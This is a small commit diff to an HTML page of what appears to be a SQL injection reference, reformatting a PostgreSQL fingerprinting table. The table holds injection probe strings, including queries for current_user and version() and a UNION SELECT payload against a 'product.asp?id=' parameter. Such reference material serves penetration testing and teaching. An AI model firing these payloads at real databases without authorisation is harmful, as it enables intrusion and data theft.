Update postgresql.html

Author: rbeebe-netspi

dbmsIdentification/postgresql.html

@@ -16,18 +16,15 @@ <h3 id="sql-injection-detection">DBMS Identification</h3>
     </tr>
     <tr>
       <td>Default variables</td>
-      <td>SELECT current_user -- </td>
-	  <td>SELECT session_user -- </td>
+      <td>SELECT current_user --<br>SELECT session_user -- </td>
     </tr>
     <tr>
       <td>String concatenation</td>
       <td>param='postg'||'resql' -- </td>
     </tr>
     <tr>
       <td>Functions</td>
-      <td>version() -- </td>
-	  <td>SUBSTR() -- </td>
-	  <td>SUBSTRING() -- </td>
+      <td>version() -- <br>SUBSTR() -- <br>SUBSTRING() -- </td>
     </tr>
   </tbody>
 </table>
@@ -56,4 +53,4 @@ <h3 id="sql-injection-types">Converting queries to injections</h3>
       <td>product.asp?id=' UNION SELECT current_user,null -- <br></td>
     </tr>
   </tbody>
-</table>
+</table>